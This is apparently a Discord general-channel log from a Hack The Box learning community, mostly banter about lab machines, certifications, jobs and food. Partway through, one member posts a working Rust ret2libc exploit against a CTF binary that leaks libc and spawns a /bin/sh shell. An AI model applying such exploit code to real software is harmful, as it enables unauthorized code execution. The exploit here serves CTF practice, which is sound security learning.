#general
1 messages ยท Page 147 of 1
pesto is just basil leaves mixed with water , olive oil ana Parmasan cheese
Mysoul?
well lets hope i can do these
Exactly, the whole build failed lmao
and some garlic its not that great imo
Ez
Yep i can taste leaves no garlic
not for me
im dumb
Next time I'll google before ordering
my honnest opinion on some mid boxes, is the foothold be the most challenging at times
@devout sail @supple plume you guys done these machines before?
The easier one I think is Imagery
i guess ill be stuck on it for a while
I have done all of these
or just ask the server what food they like here, and what that is about
cause foothold and priv escalation is the hardest for me
๐ญ
I've done all the web machines except sorcery
What else is there other than those
its a learning experience anyway if you got really stuck ask for a hint, and understand how you didnt think of it that way
There is one windows machine, Voleur, its AD and idk AD at all
there is also Signed but ive already done it
Yeah i don't remember much about voleur machine ๐
Do Imagery
Imagery should be an easy machine
Nop
Not tricky but some steps
Name literally tells you what it is about
Easy af so much that I was disappointed
CAUSE YOURE ALREADY BETTER
Why no sorcery then
I have been grinding HTB for like, around a month
Go do machine instead of arguing
aight
I'm trying again lately
i tried sorcery too ๐ฅฒ
Hmm isn't it retired yet?
i gave up
Is going to get retired 5 minutes before I complete it
@proud moth
No try do it
@proud moth did u do that logon hours yet?
No you won't need it
You should be able to do it by yourself
I just finished.

nvm i was trying to make a joke
That was quick
thats what she said

Yeah
happy holiday everybody
Happy birthday to you too @cloud osprey
not birthday
๐
tf holiday is it
His bday
oh true
every week we do this
@supple plume rfk jr. is banning food dies? does that mean my food is gonna be alive now???
ask the brain worms
Finally I got pinged by the oyster
Congrats echo now you're lucky
I needed some luck today
I assure you 10 win streak in chess now
hi lucky im paint
And the answer is yes btw
honestly not that bad of a stance
@subtle plover @supple plume
like i dont care if my food is a specific color
actually i dont really eat processed foods so i wouldnt be affected either
Ping party
its also not really even new
speaking of not that bad of stances
its the US that gets the really crappy food dyes that are banned in the rest of the world
everywhere else they do it better lol
i only recognize texas and florida
texas is like an upside down hand with thumb and index finger
florida is like a droopy dick
bama is south america?
obv
makes sense ngl
thats a very vivid discription
its the bath salts
East looks delicious
Yes it's true
Try it
Pinging MrPetals and asking a wish works
The wish comes true in less than 7 days
Try it out
And no its not his friend who just grabbed his phone while he is in the bathroom typing
Not at all that
@carmine pecan I wish for a job posting that's entry level that doesn't require 3 years of experience 
๐
wtf is that font
dope if true
Frosto
Change my wallpaper Frosto
During an important meeting where I am the presentor
Change my wallpaper to
Boobs
Do we have a deal Frosto?
It can be AI generated?
bobs???
Bob Ross
uh oh
Don't do subtraction Frosto
Easy money
It can lead to RCE bugs
frosto int overflow 2,147,483,647

I've made the mistake of learning vue js. this shit don't make sense chat. Why do I need to use ./../??
Wait where are you using this
Found the LFI
for my edr and SIEM
I'm starting work on the UI before I fry my brain writing the code for the orchestra
I mean are you trying to load assets from the assets dir?
You can just use ~/assets/images/
Or wait let me see how I do it lol
make an alias
I edited it
I mean it's not that big of a deal. It's just weird like javascript devs
But then you become vulnerable to alias hijacking and you will get hacked
One does not understand javascript
that's the fun of it
lmao. Java, JavaScript, and C#. Languages I refuse to believe that people actually enjoy using
Though I still don't understand where are you using ./../ code-wise
Even imports can be done using @/path/to/component
Isn't C# just a less fun powershell?
which was why Rust was created
enjoyed by all
java doesn't have enough haters chat
hated by haters
ehh, I don't like the number of types it has tbh
it gets confusing

The best part is the borrowing system
same with the barrow checker. It's definitely weird
LoL wait until you see how many types C (secretly) has
eeeeew
C has as many types as you make it to have ๐
Rust is a great language tbh
Check the MOESI protocol your CPU depends on
instead of having 1 apple you now have apple apple1 apple2 apple3 apple4 it's wonderful

Hmm I see no one here actually codes in Rust

all my tools are inRust
I love you too Frosto
golang gang 
psh, rust
I even rewrote pwntools in rust
Then your joke didnt made sense mate
borrow system
I need to see it
Because most of the projects are to be done in a hurry and mostly they start as CRUD, and the argument is why waste time on rust when ts does the job (that's why I hear)
Web-wise
Hashcat should get a rust rewrite

Let's start today
we support rust integrations already
but the core won't be rewritten in rust lol
Impressive
use pwnt::*;
use std::io;
#[tokio::main]
async fn main() -> io::Result<()> {
let binary_path = "./rocket";
let libc_path = "./glibc/libc.so.6";
let elf = Elf::new(binary_path).expect("Failed to load binary ELF");
let libc = Elf::new(libc_path).expect("Failed to load libc ELF");
let mut target = Target::process(binary_path).expect("Failed to spawn binary process");
let padding = vec![b'A'; 40];
let ret = elf.search("ret").unwrap();
let pop_rdi = elf.search("pop rdi; ret").unwrap();
let main_addr = elf.symbols.get("main").unwrap();
let puts_plt = elf.plt.get("_end").unwrap();
let puts_got = elf.got.get("puts").unwrap();
println!("pop_rdi: 0x{:x}", u64(&pop_rdi).unwrap());
println!("ret: 0x{:x}", u64(&ret).unwrap());
println!("puts_plt: 0x{:x}", u64(puts_plt).unwrap());
println!("puts_got: 0x{:x}", u64(&puts_got).unwrap());
println!("main_addr: 0x{:x}", &main_addr);
let payload = combine(padding + &ret + &pop_rdi + &puts_got + &puts_plt + &main_addr);
target.sendlineafter(b">>",&payload).await?;
target.recvuntil(b"Preparing beta testing..\n").await?;
let leak_addr_bytes = target.recv(6).await?;
let leak_addr = u64(&leak_addr_bytes)?;
println!("Leaked address: 0x{:x}", leak_addr);
let libc_puts = 0x80e50; //libc.symbols.get("puts").unwrap();
let libc_base = leak_addr - libc_puts;
println!("libc base: 0x{:x}", libc_base);
let system_addr = libc_base + 0x050d70; //libc.symbols.get("system").unwrap();
let bin_sh_addr = libc_base + 0x1d8678; //libc.search("/bin/sh").expect("Failed to find /bin/sh in libc");
let second_payload = flat(vec![
&padding,
&ret,
&pop_rdi,
&p64(bin_sh_addr),
&p64(system_addr),
]);
target.sendlineafter(b">>", &second_payload).await?;
target.interactive().await?;
Ok(())
}
Frosto do you use unsafe rust for some exploits?
Actually beautiful exploit
Thats... a ret 2 lib c with Rust? damn
not as often lol
Opensource when?
I am too busy with these new bugs lately
and I promised myself to put some time aside for video games

If you have the time I think everything worth it in Rust
honestly, i don't really see the point of porting existing, stable code to rust
perhaps for new things
hi
Hear me out: hashrust, hashcat but rust 
i feel like the majority of the stuff I see in rust is rewrites of stable code
we support rust integrations already
is HTB still going strong?
hashfat
How does the community feel
we also support python integrations lol
and if i can find the time, I might do Go just for the hell of it
ngl a lot better now that everyone's forced to verify
can you support me instead?
isnt it just hype ?
That's been a thing for a long time now no? @warped plank
or a new type of verification
Everything is just hypes
not you my love you're here to stay
The senses are a source of suffering
it's either hype or an excuse to make subtle changes without people noticing (looking at Canonical there)
One should abide in nirvana only
up until recently academy related channels were open to everyone, now they're locked down as well
No hype
Oh yeah this is way better now
Banned for being too real in #general
actually this is good imo, sometimes when i scrolled in that channel i got many spoilers for the chall part
wouldn't be the first time 
Yeah it's a really good thing for mods as well since it lowers the amount of channels where bullshit is afoot
if this was THM you'd be perma muted in a second

What THM stands for again?
lmao, they might remove my downvote reacts again
Let's not talk about moderation practices of other servers 
The ho--y men
so a R.E report is just explaining what Ghidra disasm, and what you think that code does
i would like to also adds, i tell the computer to do things and its keep doing things
Yes, any LLM can do it
Try pwn instead
please stop being sexy all the time
its good for the...
what did you just say?
Banned for giving me homoaffective ideas
did i stutter

do you work from home ?
we might endup cuddling at your office
put the catwomen costume on now
We live 4017km apart mate
Link
That mouse is about to give me carpal tunnel
So close
its veryy comfortable and wont hurt your wrest over time like most mouses does
divide it by pi
RIP
Royal fork with checkmate
๐คฏ
Royale with cheese, mate
please dont bait me, i'll start yapping and i wont be able to finish this report today
Too late
Too late
I'll give it a look
"One last bullet match"
cant they just read my comments

lmao

Play zenless zone zero
Double disambiguated family fork checkmate 
LMAO
i didnt attempt huntress ๐
even though i should have
whisperer asked us to attempt one CTF
i tried huntress but gave up
i should do atleast one CTF tbh
i did try HTB CTF too
I referred to my friend using the link given to me and he completed intro to academy module as said in the rules but i still didn't receive any cubes, i made sure to wait a day to know if it is problem, but still didn't get anything
how does this work, does anyone know about this
i stole it
no time to do sextillion CTFs in october
i was focusing mainly on machines to build my basic skills
do it
cause i felt CTFs were a bit too hard
wheres imagery
bye
bye
Joke. Fire the question
Is there any adults here
we all kids here under 12
awh man
sorry to tell you..
did you finish your homework then?
but you still can ask your question
Why do you ask? How old are you? 
No. I skip class, to pwn Mist as daily-routine
he needs trusted adult
if someone is an working adult
Already answered your question
owlsec lol
now ask the real question @wind pivot
U cannot skip labour like this
i am doin
@tame gust may I dm you?
i work at lemonade factory and i finished my work
I just received my pay recently and somehow my wallet already empty
maybe stop buying nitro for e-grils
No we gotta see zerotwo
chronos, how's your work?
Or this chat will be dry

Going fine until now
What e-girls bro~ when I arrive in chat all the ladies turn into lesbos 
ayy thats nice to hear
Hello?
Thank you
Hey
Noooo
if its goinf fine, must mean good money
now buy everyng nitro

Can anyone comfirm that I have verified correctly?
yes
Dude is asking for Nitro like Shawarma
you are verified
If you're chatting in general chat then yes you're verified correctly 
i am not verified, so incorrect
Ah okay
but u cant send shawarma

It's a necessity
You win
Ping me senpai ๐ฉ

Bruh
what do u want?
M Z B 909
can you look into #1024429874246590575 referral question, maybe you know about it
That's like wiping your ass with what just came out of it 
contact support
huh

just leave me alone man
alright
good booy
i dont want any trouble 
Y'all better not bring trouble or I start arresting people 
Ass O' Maxxed
wild were you always a mod or am i tweakin

๐ ๐ผ ๐
2 days ago
this will be the password for my next protected writeup
To be fair there was never an official announcement that announced I became a mod so... 
do u want me to announce it in #๐ฃ-announcements ?
You're a mod in our eyes for sure ๐ซก
Yes papi
Announce deez nuts
I'm only officially a mod in the back-end 
He is middleware
lmao
Correct I am middleware
That's wild
Better not be a cronj*b

I'm the 1 minute cleanup script in an insane box 
Clean up script works but somehow I'm still logged in and my account is already in the past ๐ญ ๐ฉ ๐ข
[15543] 1674719674.309968: Received error from KDC: -1765328322/Client not trusted

โฒ๏ธ ๐ธ ๐ง ๐ง ๐ง
Ciao chat, I go now
Take care
i know this is ment to be off topic but no one elce can see when i ask for help
this is the question i am trying to answer What is the 3rd most used word on the exercise target website?
83.136.252.27:59691
import requests
import re
from bs4 import BeautifulSoup
PAGE_URL = 'http://target:port'
def get_html_of(url):
resp = requests.get(url)
if resp.status_code != 200:
print(f'HTTP status code of {resp.status_code} returned, but 200 was expected. Exiting...')
exit(1)
return resp.content.decode()
html = get_html_of(PAGE_URL)
soup = BeautifulSoup(html, 'html.parser')
raw_text = soup.get_text()
all_words = re.findall(r'\w+', raw_text)
word_count = {}
for word in all_words:
if word not in word_count:
word_count[word] = 1
else:
current_count = word_count.get(word)
word_count[word] = current_count + 1
top_words = sorted(word_count.items(), key=lambda item: item[1], reverse=True)
for i in range(10):
print(top_words[i][0])
it keep telling me i am wrong
sure wassap
is it a question bout Goth Baddies ? i'am an expert in this matter
Wait you became a mod?
If this is from htb modules then ask in #modules
Also use backticks to format block of codes
Are you getting any errors from the code or you're just getting wrong answers?
wrong answers it says
Mods do not get paid ๐ญ
My heart is experiencing palpitations.

You're selecting the top word because
The question asked for the 3rd one
i try to seand ity thorough ai to test and see if it was just my program or not
that one was the same as what i got
what is provided for the coarse
import requests
import re
from bs4 import BeautifulSoup
PAGE_URL = 'http://target:port'
def get_html_of(url):
resp = requests.get(url)
if resp.status_code != 200:
print(f'HTTP status code of {resp.status_code} returned, but 200 was expected. Exiting...')
exit(1)
return resp.content.decode()
html = get_html_of(PAGE_URL)
soup = BeautifulSoup(html, 'html.parser')
raw_text = soup.get_text()
all_words = re.findall(r'\w+', raw_text)
word_count = {}
for word in all_words:
if word not in word_count:
word_count[word] = 1
else:
current_count = word_count.get(word)
word_count[word] = current_count + 1
top_words = sorted(word_count.items(), key=lambda item: item[1], reverse=True)
for i in range(10):
print(top_words[i][0])
dose that help?

it is a .py if i needed to say
hi peeeeeps
I am not sure about the context (because he didint told me), but I can tell 99.99% it is
vro this could be a bash oneliner
I once did some easy box, which had some sort of cron like thing that's calls u back with reverse shell
Then. After few days
I was doing other machine
And i was getting random reverse shell
that is how i feel
I had to go in and delete my shit ,
Always clean up your stuff after rooting ๐
did you win?
Dont post malicious code without code block
Banned
@frosty thistle
This u

https://grokipedia.com/ the wikipedia killer just dropped
I read a few articles and its already more thorough and accurate than wikipedia
AI, ohh hell nah
@copper pollen seen your /feedback now. You have the search functionality on Academy V2 on the right side of the top bar
guys
if im quick enough
can i spawn vulnlab
it releases and reitres instantly
so there might be few ms 
i usuallly just hit Ctrl+K if i dont see any
most of the time it brings up search bars
You will get banned
Ctrl + K also works

@timber seal ah i see now, personally maybe from an UI/UX perspective it's not the best. I would expect it close to the filters when searching for modules. I love the Beta though! Very slick!
why, being fast is against TOS?
I'm of the same opinion, I think that feedback has been provided, will see how the beta version develops. Thanks for the feedback
You guys are very welcome! Good luck on the further development
yooooo long time no seeeeeeee
Idk but i would love to see uou banned
I'll be in few years
Will I be able to secure a job after completing the HTB CWES program?
No certificate guarantee a job
why
actually OSCE might
It will help you to get a job, yes
Well if there's 2 people with OSED for same position, then it isn't guaranteed
you mean OSED or CWES
then you to another place
Any certificate, certificate is just a paper to show you know your shit
Or maybe PDF
is CWES help me to enter in bug bounty
hi fellas
Yeah, I'm not saying it's useless, but don't expect 100% guarantee on your first interview to get the job
What CWES stands for?
Certified web exploit specilist
new CBBH dude
So certified Bug bounty hunter?
yup
Sounds like a perfect one for bbh then
yeah, another version of this
so this cert help me in bug bounty
i think it cannot help you too much but it can give you a mindset of exploitation also
why it does not help too much
idk, just 'opinion
let say after CWES i also do CWEE then it will help me in bug bounty or no
yes
thanks for answering you all
is it true you get cubes for seasonal machines at the end of each season
yes
i've been doing htb seasons , for some seasons now, and i dont think i've gotten any cubes
you will get this season
WHILE I WAS UNCONSCIOUS A CRACKHEAD TRIED TO SELL ME AT A PAWNSHOP
but he didn't get any money for it?
I do know where he's not
Are you a Jason seeking missile
Because you know where he aint

I know he's not here

carry on
Jason Dunn



๐
@elder inlet
@supple plume im back
Goooood
it has been opened
Good
@supple plume what u doing
So you tried ddosing discord
no
I am procrastinating my job
But it's fine since they pay for features I can work whenever I want
Deadline is next week
@hoary nebula
No they donโt
Good
u will die man
bro u must be in uni get id card or gmail
its 8 $
cheaper than lab

embed fail
wasted
idk why
@patent elbow adios
read pins
maybe my role
i think u need to reach hacker or pro hacker
just got rtfm'd
too hard
i will keep pasting links
it isnt @worldly hound
i'm only doing htb CTFs so it gives me 0 point
them: you not e
lol do active machines
@cunning marsh yo all good man wbu?
๐
or do active challs
or do seasonal boxes @worldly hound
its linux easy rn
i retired from boxes
why
i log twice a year on htb only for ctfs
often machines are retired but in this case u are retired
haha then getting rank is insane
yea, how you doing?
all good bro what about you
LOL good, but still haven't recovered from the CTF.
was it so hard
@neon zealot , THe OSINT......the osint was that easy, and still.....
i think i will push to hacker rank just to have the right to embed image
I COULDN'T FIND IT!!!
@neon zealot , how to get a rank?
Dont be afraid to just start doing bug bounty too, no need to complete a bunch of courses first - you can treat BBPs as your "labs"
@cunning marsh solve active machines in htb labs , solve active challenges
BRO, XD, I ain't giving a shi.....MB, imma learn, thanks for it
no problem just keep on grinding
Thanks, did you also participate in that CTF?
@cunning marsh not really im doing academy
AH, same, but I am firstly doing THM rooms which cover the same topic, as it covers the basic, and HTB for advanced
@cunning marsh hmm should try htb its very good
vro if I find something in the htb vdp do I get something?
like some cubes?
I think I found something fr, but I was kinda not looking seriously and I lost the request xd
@exotic pendant reaching guru must be brainrot
but if I get cubes or smt I would get back to it
ask mods or somthing
it is early morning in the united states
so everyone must be sleeping or having coffee
LOL, its 8pm in India
@cunning marsh embed wont work
XD, forgot about it
07 47
ah..
@cunning marsh can u figure out where i am from without google
you wake up early don't you? eh @neon zealot , ?
where?
@cunning marsh no its pm
pm
Where?
its close @cunning marsh
from india
@graceful pendant bro relink from dashboard
account.hackthebox.com or something
MY MAN! HOW DO YOU GET A RNAK???
@scenic maple do you know if ther is any reward for the htb vdp?
go to security settings then scroll a bit @graceful pendant
i said it do active machines active challenged
challenge
challenges
from app.hackthebox.com
yea ok XD
yep
Hey! that cat is cute, @neon zealot
there is a special badge https://labs.hackthebox.com/achievement/badge/630567/4
i dont know if there is anything extra
yeah man it is
well...
report here https://hackerone.com/hack_the_box
The Hack The Box Vulnerability Disclosure Program enlists the help of the hacker community at HackerOne to make Hack The Box more secure. HackerOne is the #1 hacker-powered security platform, helping organizations find and fix critical vulnerabilities before they can be criminally exploited.
that is not cubes
@supple plume GOGO DO IT
vro typo fr
aright this weekend I'll look into it
lets go
new buggie @supple plume
@supple plume lets do a machine after a weekend
are u up for it
that is awesome btw ๐ฅ
fr
To the desert?
hello, i want to ask any body have problem in submitting flag in phishing section in xss module ?
Hmm maybe check if there's any random spaces around flag
Just had the screening call with deloitte. Did quite well and she was please, bro these big 4 firms have case studies to do. What would be a pen testing case study??
like finding vulns in a big company's security infrastructure
and then documenting those findings
stuff like that
So a pen test
yes
Welp ok hahaha
a process or record of research into the development of a particular person, group, or situation over a period of time.
ill get doxed
Ok then don't
bruh why is there like a huge number of templates
my information is not the problem
i dont mind sending to someone
i just dont like the process of making a resume
What's ur problem then
its scary
Yeah sure

case study?
OWASP might be a good choice
Yeah I have a week or two to prepare
Luckily for you the OWASP top 10 for 2025 releases next week 
Oh yay. I was waiting for this
i wonder whats the new meta
AI
*sleepy
Sinzo
guys i found this game on steam called Bitburner which basically teaches you javascript
fr?
@meager kernel I dont think
In steam
Maybe u boughtnit
Bought it
So it might not costs money
I have tried many websites which let you free for some few modules
After it's paid
@meager kernel idk about
Steam.gamrs
Games
i see
@muted olive cinzo
ill give it a try
w3schools mogs all
Sorry
@meager kernel hiiiii
Man
๐งโโ๏ธ
Mb
@meager kernel wsg
do not.
hm
I woke up but I'm still sleepy/tired
sleep schedule ig
can report writing be any more boring
hey gayes
nobody:
absolutely nobody:
PHP: explode()
yes kind of a desert...
it also has implode
fantastic
thats such a cool function thank you for making me aware of this i will now be coding everything in php
hey any one a road map to crack a job for soc analyst for a entry level to start my career on cybersecurity field
it's called lock tf in
getcho ass in academy and type soc
do all the modules
Here is what nuclear war taught me about VPN's (my linkedin post as a cybersec influencer)
at the end of the day if you have a good knowledge about how to do the job and you advertise yourself properly you can get a job
ok bro
no easy but possible
ok bro i will try my best because i am on another stream
les go gng
I believe in you brotha grind hard and you'll get it
yaaaaay
cryptography HATES this man
how ONE SIMPLE TRICK can absolutely DESTROY encryption!!
where this from
cryptohack
this is great
lol
abusing my copy rights
i took all the gift cards off the rack from cvs without paying and now i can get basically anything for free
when this guy gonna get banned
wha
That's not a thing.
You have to get the gift card activated
Otherwise anyone can just steal 'em
i mean it kinda is
some people will take the codes off them
then wait for people to buy it
php devs drive ferraris
CVS Frequently Asked Questions
Who can I contact for help with the machine Previous
i would have spend the money on academy honestly
@tiny canyon have you fanum taxed the skibidi $6.7 yet?
common W comment by @lime trout
wdym
the discord nitro
still bad
man what ๐ฅ
just hating on you i guess
ok twin 
Itโs fun
iq-100k
IQ+ยง
do you speak spanish?
iQ+iรร
Un poco
๐
Hi โ Iโm trying to register CTF but the signup form asks for an input/registration key. Where can I obtain this key? Thanks!
which ctf
Maybe it's in description?
yo, are there any modules/sections in HTB Academy related to AWS S3 ?
yeah probably
nevermind
Sally
was thinking of try hackme
they have em
Advertisement
@agile thunder bru invited to the discord server
Mods lock this guy in a rubber room
oh they want ยฃ329 for module access ๐ญ
Why me isn't inverted
join my team
I already has
it's expensive as f
my team
The one I'm on
bro I dont need to know
Oh
Im gathering the dumbest people
I suppose independent users can create their own modules/sections in the academy (after few verifications frmo HTB staff) ? if so it would be nice if someone with S3 exploitation knowledge could contribute with that knowledge ๐
I'm CDH
I would give my leadership to @rustic carbon but he doesnt wanna join
Use /feedback
And they might do it themselves
But I can be your hornorary guest
htb/feedback or academy.htb/feedback ?
oh lmao
And you can type shit out
Like there are many CTFs like MongoDB CTF, Pure Storage, Hacktober. When you sign up, they,. ask you for an input key Where can I obtain the input key?
They'll filter the feedback internally ig
ok
Usually if it's open, they don't ask
Or just keep it in the CTF description.
If not then we'll ask about specific ones

invited
Can i join
sent discord inv









